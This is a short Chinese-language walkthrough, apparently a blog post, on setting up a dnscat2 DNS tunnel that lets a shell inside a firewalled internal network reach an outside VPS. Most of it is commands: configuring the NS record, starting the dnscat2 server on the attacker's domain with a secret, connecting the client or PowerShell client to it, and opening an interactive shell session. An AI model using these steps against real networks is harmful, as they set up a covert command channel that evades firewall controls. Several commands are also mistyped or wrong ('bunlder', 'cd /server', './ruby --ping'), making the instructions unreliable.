在内网环境中,通常出于安全考虑,网络防火墙会对主机的网络协议进行限制,只会放行主机服务需要的协议,当处于内网中的shell需要与外部进行流量交互的时候,就需要通过放行的协议建立网络隧道,此时DNS协议往往是一个常用的选择。
对NS记录mail子域进行解析指向ns1*.club的A记录
测试部署:
测试外部对mail子域的dns请求,然后查看vps是否处理该请求
客户端发送dns请求数据包:
vps对请求数据的处理
tcpdump -n -i eth0 udp dst port 53
yum install gem
rm /usr/bin/ruby
wget https://cache.ruby-lang.org/pub/ruby/2.5/ruby-2.5.0.tar.gz
tar -zxvf ruby-2.5.0.tar.gz
cd ruby-2.5.0
mkdir -p /usr/local/ruby
./configure --prefix=/usr/local/ruby
make && make install
ln -s /usr/local/ruby/bin/ruby /usr/bin/ruby
git clone https://github.com/iagox86/dnscat2.git
cd /server
gem install bunlder
ln /usr/local/ruby/bin/bunlder /usr/bin/bunlder
bunlder install
启动服务端:
ruby dnscat2.rb mail.****.club -e open -c password --no-cache
客户端下载地址
https://downloads.skullsecurity.org/dnscat2/
powershell客户端
https://codeload.github.com/lukebaggett/dnscat2-powershell/zip/master
./ruby --ping mail.target.com
连接服务端
./dnscat --secret=password mail.target.com
以下显示连接成功
server端
sessions显示已经有客户端会话
session -i session_id
进入会话,执行shell交互命令行
通过监听53端口的流量包发现大量的dns请求数据
tcpdump -n -i eth0 udp dst port 53
到此为止dns隧道建立的shell就完成。